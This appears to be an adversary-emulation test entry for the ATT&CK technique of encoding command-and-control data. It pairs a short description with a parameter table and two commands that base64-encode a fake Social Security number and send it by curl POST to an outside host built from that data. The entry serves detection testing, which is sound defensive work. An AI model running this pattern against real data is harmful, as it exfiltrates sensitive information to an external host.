Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
Utilizing a common technique for posting base64 encoded data.
Supported Platforms: macOS, Linux
| Name | Description | Type | Default Value |
|---|---|---|---|
| destination_url | Destination URL to post encoded data. | string | redcanary.com |
| base64_data | Encoded data to post using fake Social Security number 111-11-1111. | string | MTExLTExLTExMTE= |
echo -n 111-11-1111 | base64
curl -XPOST #{base64_data}.#{destination_url}